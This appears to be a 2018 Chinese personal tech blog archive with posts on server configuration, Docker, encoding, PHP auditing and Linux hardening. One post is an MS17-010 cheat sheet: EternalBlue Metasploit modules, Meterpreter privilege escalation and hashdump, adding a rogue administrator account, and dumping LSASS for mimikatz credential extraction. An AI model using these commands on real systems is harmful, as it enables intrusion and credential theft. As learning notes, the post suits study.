2018年12月26日星期三

与产品沟通安全设计

在账户安全的问题上,绝不能因为所谓的操作流畅性就降低安全标准。尤其是对于账户安全要求很高的产品,宁可让用户多做几步验证,最大程度地确保验证的准确性。
在交互上,用户会存在操作负担与认知负担,减少认知负担的优先级理应高于减少操作负担。如果因为减少操作负担,造成了账户安全问题,极大地增加了用户的认知负担,是非常得不偿失的行为。

2018年12月6日星期四

博客搬家

通过宝塔提供的工具【计划任务】进行备份
1. 站点目录备份一遍,文件权限属性保持不变
2. 数据库备份一遍

恢复站点
1. 站点目录创建后,把备份的压缩文件解压到站点目录
2. 利用宝塔提供的数据库恢复工具

3. 去站点目录找出wp-config.php,看看数据库的配置
4. 对比,数据库名称,用户名,密码。

2018年12月5日星期三

nginx端口重定向,主域名跳转www,配置

端口重定向 80 --> 9800
ss.abc.com   -->  ss.abc.com:9800

server
{
    listen 80;
    server_name ss.abc.com;
 
    location / {
    proxy_pass http://ss.abc.com:9800;
    proxy_set_header Host $host:80;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Via "nginx";
    }
}


宝塔创建一个abc.com的站点,

一级域名跳转到www二级域名

  1. #只是一级域名“abc.com” 跳转到www.abc.com去。
server {
           listen 80;
           server_name abc.com;

           if ($http_host ~ "^ilovegt.com$") {
                     rewrite ^(.*) http://www.ilovegt.com$1 permanent;
            }
}

2018年11月8日星期四

针对MS17-010漏洞攻击之Metasploit

0x01 hash密码导出,并且破解方法
If LM hashes are enabled on your system (Win XP and lower), a hash dump will look like:
Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

If LM hashes are disabled on your system (Win Vista, 7, 8+), a hash dump will look like:
Administrator:500:NO PASSWORD*********************:0CB6948805F797BF2A82807973B89537:::
每个字段的含义:          用户名:唯一安全ID:LM_HASH :NTLM_HASH
这串值就是LM_HASH,通过google “lm hash crack” 尝试破解
01FC5A6BE7BC6929AAD3B435B51404EE

0x02 Meterpreter 命令行工具
通过google搜索  “Metasploit工具Meterpreter的命令速查表”对反弹shell进行利用
其中比较常用的命令:
getuid                                        查看当前用户
getsystem                                  获取系统权限
shell                                           打开shell或者cmd
run hashdump                           把sam数据库dump



0x03 常用payload
 use windows/meterpreter/reverse_tcp
 use auxiliary/scanner/smb/pipe_auditor

ms17-010 payload:
       use exploit/windows/smb/ms17_010_eternalblue
       use exploit/windows/smb/ms17_010_psexec

0x04 ms17-010漏洞利用
     使用metasploit(MSF)对windows的ms17-010漏洞进行利用的过程
     MSF下ms17_010_psexec模块使用技巧
     Meterpreter提权详解



0x05 windows修改用户密码技巧
因为中文的windwos系统,在Meterpreter 会显示乱码,在进行net user操作出现报错

比如 NET HELPMSG 2245  表示密码长度不够规格,不够复杂
比如 NET HELPMSG 3783  表示没有这个组或者用户
net user administrator abc123      //修改administrator的密码
net user test v5est0r /add                    //增加新用户
net localgroup administrators test /add       //并且加入管理员组
0x06 获取system权限,对管理员密码获取
利用Meterpreter upload 上传 ProcDump 对系统的LSASS进程内存文件导出,命令如下
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
导出后,利用Meterpreter download 将 lsass.dmp 文件下载到本地
最后运行mimikatz,进行破解
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full

Meterpreter 加载mimikatz直接进行破解

load mimikatz
help mimikatz
mimikatz_command -f privilege::debug
mimikatz_command -f privilege::security
mimikatz_command -f sekurlsa::logonPasswords















2018年10月24日星期三

编码,乱码,如何透彻理解

编码

在python里面,你定义一个字符串的时候,就已经通过编码器,对你输入的字符串进行编码,并且放入内存。

规则1:放入内存里面的字符串,一定经过编码

当使用print 对字符串变量进行打印,必须要对字符串进行解码才能显示。注意这里只是显示,要显示正确,必须用对应的字符集(gbk, gb2312, utf-8, ascii)。如果显示错误(仅是人类感知,计算机不知道情况),就是乱码

规则2:控制台标准输出,浏览器显示区,notepad文字区等,都是需要进行解码后才可以显示的

举例:
在写自动发送邮件过程,包含多次编码解码动作

1. 生成html文件,在python3可以指定编码。
2. 读取的时候,在python2.7需要进行指定解码字符集,
3. 经过bottle模块,模板处理的时候也需要进行解码
4. smtp发送邮件,也需要进行编码
5. 最后foxmail客户端,就是我们的数据展示区,还需要对邮件内容进行解码

那么多个过程涉及编码,所以出现乱码,要冷静分析,看看数据处理的过程,分析出原因


要更深入了解乱码,首先你要能够随时制造编码错误

  
UnicodeDecodeError: 'utf8' codec can't decode byte 0xb5 in position 2: invalid start byte
UnicodeDecodeError: 'ascii' codec can't decode byte 0xb5 in position 2: ordinal not in range(128)

通过下面代码,制造错误
>>> a='as的'
>>> print a
as的
>>> print a.decode('utf-8')
>>> print a.decode('ascii')
>>> print a.decode('gbk')
>>> print a.decode('gb2312')
>>> print a.decode('cp936')
-

2018年10月17日星期三

bash脚本的坑

    你会写python脚本,但是不会写shell脚本,其实只要注意几步,就可以像写python那样简单

0x01 bash脚本第一坑
变量赋值竟然不支持空格。
 
a = "my name" ✘ 这样是不能赋值成功的,并且提示“-bash: a: command not found”
a="name"      ✔

array[0] = "hello"  ✘
array[0]="hello"    ✔

0x02 变量调用需要加$

echo $a
array[0]=$a

0x03 bash脚本第二坑
数组会自动对字符串变量进行分割,这个特性很不好,特别对字符串处理的时候,
这个特性不应该作为自动分割,如果需要使用分割功能, 加上特别的参数,这样设计更合理

output="i am a boy"
这个变量赋值给array的时候会进行分割
array=($output)
最后,变成:
array[0]="i"
array[1]="am"
array[2]="a"
array[3]="boy"

要使"i am a boy"存入array后保持完整,可以用下面的方法:
array[0]=$output
array=([0]=$output)


0x04 jq调试工具
--raw-input-R
不要将输入解析为JSON。相反,每行文本都作为字符串传递给过滤器。如果与之结合使用--slurp,则整个输入将作为单个长字符串传递给过滤器。

--raw-output-r: 解析后的字符串去引号
使用此选项,如果过滤器的结果是字符串,则它将直接写入标准输出,而不是格式化为带引号的JSON字符串。这对于使jq过滤器与非基于JSON的系统进行通信非常有用。
0x05 curl只输出json数据
这样会输出http头部信息
curl -i -H "Content-Type: application/json" -X POST http://127.0.0.1/api/add

只输出http body的json数据
curl -s -H "Content-Type: application/json" -X POST http://127.0.0.1/api/add


参考链接:
1. BASH 数组用法小结









2018年9月19日星期三

2018年8月30日星期四

安全练习靶场收集

phpcms系统
1. axublog

sql注入测试
2. sqli-labs
3. RedTiger's hackit

2018年8月20日星期一

docker学习过程

0x00 背景
       最近要部署一套安全应急中心系统,需要使用docker进行部署安装,以前经常听过docker,也了解过,但是就是没用过,其实只是使用docker部署环境,其实没什么太大的难度,只要掌握基本的命令,就可以操作了。

0x01 我理解的docker
         容器有运行的概念。
              1.  run,创建容器运行命令
              2.  start/stop/restart ,容器创建后可以通过docker ps -a 查看已经创建的容器
                   docker start [容器id],就可以启动容器
              3.  stats , 可以查看容器的运行状态,内存使用情况,cpu使用情况,磁盘网络IO
              4.  kill & rm,关闭docker / 删除容器




















    进入容器的shell有两种方法:
    docker attach [容器ID]                 # 这是进入docker run时的交互shell
    docker exec -it [容器ID] bash      #  这是打开一个新的shell

    如果想直接在终端中查看启动命令的输出,用 attach;其他情况使用 exec。
    当然,如果只是为了查看启动命令的输出,可以使用 docker logs 命令:
    docker logs -f 的作用与 tail -f 类似,能够持续打印输出。

0x02 docker仓库配置
        各个版本的docker仓库配置不一样
        中国科学技术大学的开源镜像

        docker images  -- 查看本地已经下载的镜像














0x03 如何解决Docker容器和宿主机时间同步问题

把时区设置加入到Dockerfile中
# CentOS
   RUN echo "Asia/shanghai" > /etc/timezone;

# Ubuntu
   RUN cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

0x04 查看容器的启动命令

在容器外部,物理机上,可以用docker inspect查看。
如果在容器内部。可以用 ps -fe 查看。其中1号进程就是启动命令。

查看共享文件的映射关系
docker inspect 1cb8e758f58e | grep -A10 HostConfig

        "HostConfig": {
            "Binds": [
                "/opt/xunfeng_8000:/data"



参考链接:
1. 用docker实现微服务的便捷运维












2018年6月19日星期二

php代码审计与YII框架

php代码审计

工具:phpstorm + seay源代码审计系统

phpstorm 高效审计快捷键:
Ctrl + G                     行号跳转
Ctrl + Alt + <-/->     跳转返回/前进
Ctrl + 点击                 查找函数/类/变量,定义或者使用
Ctrl + Shift + F          全局搜索字符串
Ctrl + Shift + N         全局搜索文件名

url路由:
1. apache,nginx等web服务器的配置实现路由,例如:
    rewrite ^/([^/]+)/([^/]+)/.* /$1/$2/index.php last;
 
^/    :  以/开头
([^/]+):分组$1,不是/的任意多个字符
([^/]+):分组$2,不是/的任意多个字符
.*    : 任意多个字符

2. 通过程序代码进行url路由


sql注入防御:
1. PDO需要对用户输入参数进行bind
2. AR

参考链接:
1. YII框架的sql注入测试,与防范方法
2. Yii2中如果你这么写,可能造成sql注入漏洞
3. YII2安全之SQL注入和XSS攻击
4. Class yii\db\Connection,YII 2.0官方文档,有防注入的介绍
5. YII源码分析
6. 深入理解Yii2.0
-----------------------
7. Yii防止sql注入、xxs方法
8. 活动记录(Active Record)
-----------------------
9. 高级PHP应用程序漏洞审核技术



2018年5月21日星期一

数据库审计

其实我们IT人员工作,经常会积累大量文档,如果不经常管理,你可能读完一篇文章或者文档,当时觉得受益很深,但是看完就过去了,久了有时候很难找到,或者放在一堆文件里面,需要逐个的打开看才能找到。我觉得,以后要养成一个好的习惯,创建一个【受益文档】的文件夹,里面放各种看过的文档,并且进行分类。这样以后要复习某一个知识点,就可以快速找到。

1. 数据库审计,首先需要知道需求,如果全部增删查改都审计,日志将会非常庞大,而select的审计量是占比最高的。

2. 数据库的审计方式,分为两种,一种是数据库自带的审计功能,另外一种是外部的数据库安全审计解决方案。自带的审计对服务器本身的消耗比较大,所以实际生产环境中主要采用外部的审计方式

根据需求进行审计是必要的,因为大量的无用的审计,只会消耗大量的资源,有针对性以及符合合规的审计需求,可保证不会浪费大量资源。
3. 根据需求,可分为
           登录事件 (IP地址、用户名、客户端程序,时间),分为两类,成功登录、登录失败
           登录失败可以实施警告或者账户锁定

           审计正常操作时间之外的数据库使用,因为下班时间所进行的操作活动都是可疑的

           审计DDL(数据描述语言)的活动
           从安全的观点来看,DDL命令都是潜在的最具破坏力的命令,已被攻击者利用从而破坏系统。
          DDL活动的审计是为了清除开发者和数据库管理员所引起的错误,以及一些可能会引起灾难影响的错误
         
           审计数据库错误
                  攻击者可以使用基于union攻击,他需要猜测表的正确栏数,直到他得到正确的数字,数据库将不断的返回一个错误代码,表明select语句所选择的栏数不匹配。

           审计特权、用户、登录定义
                  增加删除用户,角色
                  特权变更
                  口令变更

           审计敏感数据的变更
                  对DML的审计也是一种常见的需求,使用这种审计方式,仍需小心,这很容易产生巨大的数据量。























         

2018年5月7日星期一

基于OpenSSL自建CA和颁发SSL证书

浏览器是怎么验证,证书是来自权威CA发布的?

1.客户端向服务器端发起client hello,服务器端把证书发给客户端
2.证书包含:
         a.域名的相关信息
         b.站点的公钥
         c.数字签名= CA_private_key( hash(a+b) )
3.浏览器在信任的权威CA里面寻找对应的颁发者证书,找出公钥,解密数字签名得到hash值
4.浏览器将证书包含的信息做一次hash,相当于 hash(a+b),与3的hash值做对比,如果一样,就证明是正确的。
5.取出证书里面,站点使用的公钥,继续后面协商对称密钥的事务。





参考链接:
1. 基于OpenSSL自建CA和颁发SSL证书 
2. OpenSSL 与 SSL 数字证书概念贴
3. SSL/TLS原理详解
4. 有关SSL证书的一些事儿
5. 证书的那些事儿

2018年3月1日星期四

ASA 5512 的拒绝服务故障排错

最近ASA 5512总是经过一段时间就不能工作,外网连接不上,经常报错误

%ASA-5-321001: Resource 'conns' limit of 100000 reached for system

通过show resource usage 看conns的当前数值以及最高峰值

Resource                 Current        Peak      Limit        Denied Context
SSH                            1           2          5             0 System
ASDM                           0           1         30             0 System
Syslogs [rate]               124       12661        N/A             0 System
Conns                      19340       19504     100000             0 System
Xlates                     13410       13531        N/A             0 System
Hosts                       4977        4977        N/A             0 System
Conns [rate]                  73         729        N/A             0 System
Inspects [rate]               29         728        N/A             0 System
Routes                         7          10  unlimited             0 System
 
登录防火墙,并且在xshell等终端把缓冲设置到最大值200000
show conn 通过xshell,编辑-->记事本-->全部
把数据导出到文本,然后放入linux shell下进行分析

查看源IP地址,这里得出的总数值 约等于 show resouce usage 的 conns 当前值
cat conn.txt | awk '{print $5}' | awk '{FS = ":"}; {print $1}' | sort -n | uniq -c | sort -nr | head -10
查看目的IP地址
cat conn.txt | awk '{print $3}' | awk '{FS = ":"}; {print $1}' | sort -n | uniq -c | sort -nr | head -10

查看单个IP的连接数
show local-host 172.16.5.163 brief

清除所有连接
clear local all

如果需要快速将问题机器从网络中取出,您可以执行以下操作:

shun xxx.xxx.xxx.xxx
要扭转这种情况:

no shun xxx.xxx.xxx.xxx








参考链接:
1. cisco asa top connection

2018年2月26日星期一

wordpress目录迁移、上传限制修改

之前下载wordpress后,直接在web服务器文档根目录(DocumentRoot)解压
最后WordPress的文档目录
             /webdata/wordpress/
但是在httpd.conf的DocumentRoot webdata,这样80端口打开后就是在webdata下
现在要将wordpress下的页面文件迁移到webdata下

实现方法:
           mv  wordpress/* /webdata

然后在/wp-admin/options-general.php配置到正确的路径


默认WordPress把上传文件的大小限制在2M
要解除这个限制,在后台插件模块,直接搜索Upload Max File Size
然后下载这个插件,配置很简单,只需要计算后输入数字就可以了。
然后重启httpd服务,如果不行就重启服务器

还有一种方法是修改 php.ini 配置文件
memory_limit=128M    //相当于单个脚本可调用内存大小
post_max_size=8M     //上传文件大小上限
upload_max_filesize=2M  //默认上传文件大小,这个就是2M的限制!
max_execution_time=30  //最大执行时间,页面等待时间
max_input_time=60    //最大输入时间?具体意义不明确,就是上传时间相关


参考链接:






2018年1月18日星期四

树莓派2-B 安装 Ubuntu-Mate, 设置console

编辑TF卡中的文件

在config.txt文件中添加
  
dtoverlay=pi3-miniuart-bt

cmdline文件修改成
  
dwc_otg.lpm_enable=0 console=tty1 console=serial0,115200 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait
  
(原:dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait quiet init=/usr/lib/raspi-config/init_resize.sh quiet splash plymouth.ignore-serial-consoles)



参考链接:
(一)树莓派上手 (无(/有)显示器 串口连接 )

2018年1月12日星期五

linux最小权限原则

研究linux进程权限控制相关的课题,(本课题属于主机加固范围)

0x01 前言
       最近接收到一个研究进程权限的课题,但是最后发现这块知识属于基础性的,想真正应用这项研究的成果还是很有限的,作为一个Linux用户来说,我们并不需要特别关心上面的机制。但是,当我们去编写一个Linux应用程序的时候,就要注意在程序中实现以上切换(有必要的前提下),以便让我们的程序符合"最小权限"的原则,不给系统留下可能的安全隐患。

最小权限带来的好处:
1. 更好的系统稳定性
2. 更好的系统安全性
3. 更容易部署

0x02 linux权限组成
基本权限
r 、w、x

可以通过chmod改变

 chmod   # 更改文件或者目录权限
  
  二进制设置
  644   -->   110 100 100  -->   rw- r-- r--
  755   -->   111 101 101  -->   rwx r-x r-x
   (八进制 - 二进制)  (二进制 - 实际含义)    
  
  字符设置
  +---------+-------+-----+
  | u user  |       |     |
  |---------|   +   |  r  |
  | g group |-------|-----|
  |---------|   -   |  w  |
                | o other |-------|-----|
  |---------|   =   |  x  |
  | a all   |       |     |
  +---------+-------+-----+

0x02 认识进程权限
进程去执行任务的时候需要得到相应的权限,实际上,每个进程维护如下6个ID:

RUID  真实身份:  real UID,          real GID
EUID  有效身份:  effective UID,  effective GID
SUID  存储身份:  saved UID,       saved GID

真实身份:我们登录使用的身份
有效身份:当该进程真正去操作文件时所检查的身份
存储身份:当我们将一个程序文件执行成为进程的时候,该程序文件的拥有者(owner)和拥有组(owner group)可以被,存储成为进程的存储身份

并不是所有的程序文件在执行的过程都设置存储身份的。需要这么做的程序文件会在其九位(bit)权限的执行位的x改为s。这时,这一位(bit)叫做set UID bit或者set GID bit。
$ls -l /usr/bin/uuidd
-rwsr-sr-x 1 libuuid libuuid 17976 Mar 30  2012 /usr/sbin/uuidd

当我以root(UID), root(GID)的真实身份运行这个程序的时候,由于拥有者(owner)有s位的设定,所以saved UID被设置成为libuuid,saved GID被设置成为libuuid。这样,uuidd的进程就可以在两个身份之间切换。

我们通常使用chmod来修改set-UID bit和set-GID bit:

$chmod 4700 file

我们看到,这里的chmod后面不再只是三位的数字。最前面一位用于处理set-UID bit/set-GID bit,它可以被设置成为4/2/1以及或者上面数字的和。4表示为set UID bit, 2表示为set GID bit,1表示为sticky bit (暂时不介绍)。必须要先有x位的基础上,才能设置s位。

开机后,linux内核加载的时候,首先开始执行进程init,而且是root权限运行的,然后通过
fork函数去加载其他用户进程。

而sudo这个程序,默认就设置了suid



0x03 限制进程所创建文件的权限属性
      umask 表示操作系统不允许设置的权限位


     037   -->   ---  -wx  rwx
     640   -->   rw-  r--  ---

     不允许创建的文件有执行的权限

0x04 web应用系统可写目录的权限控制

Nginx
  数据缓存目录 cache,这个目录的特点是需要777 权限,无须提供给用户访问

  附件上传目录 attachments,此目录的特点是需要开放访问权限,但所有文件不能由php 引擎解析(包括后缀名改为 gif 的木马文件)

  静态文件生成目录 public,这些目录一般都是php 生成的静态页的保存目录,显然与附件目录有类似之处,按附件目录的权限设置即可。可以预见的是,如果我们设置了较严格的权限,即使网站php 程序存在漏洞,木马脚本也只能被写入到权限为 777 的目录中去,如果配合上述严格的目录权限控制,木马也无法被触发运行,整个系统的安全性显然会有显著的提高。

Apache
        建立安全的apache的目录结构。ServerRoot  DocumentRoot  ScripAlias   Customlog  Errorlog   均放在单独的目录环境中。以上主要目录相互独立并且不存在父子逻辑关系。
        ServerRoot目录只能具有管理权限用户访问;DocumentRoot能够被管理Web站点内容的用户访问和使用Apache服务器的Apache用户和Apache用户组访问;只有admin组的用户可以访问日志目录。  各个目录设置独立的权限
        上传目录设置php文件解析限制
        配置Apache防止webshell上传


0x05 web服务进程的权限配置

以Nobody用户运行
         一般情况下,Apache是由Root 来安装和运行的。如果Apache Server进程具有Root用户特权,那么它将给系统的安全构成很大的威胁,应确保Apache Server进程以最可能低的权限用户来运行。通过修改httpd.conf文件中的下列选项,以Nobody用户运行Apache 达到相对安全的目的。
User nobody

参考链接:
      1. linux用户与“最小权限”原则
      2. linux文件管理
      3. linux进程基础
      4. 最小特权原则
      5. 正确设置php-fpm子进程用户,提高网站安全性防挂马
      6. linux下apache安全配置策略
      7. 探秘linux权限控制
      8. Linux 权限管理与访问控制详解(1)——基本概念和 DAC
      9. Linux 权限管理与访问控制详解(2)——MAC 和 SELinux
      10. apache运行机制剖析
      11. Linux權限控制的基本原理
      12. nginx、php-fpm、mysql用户权限解析
      13. 企业级Linux系统下的进程安全管理方法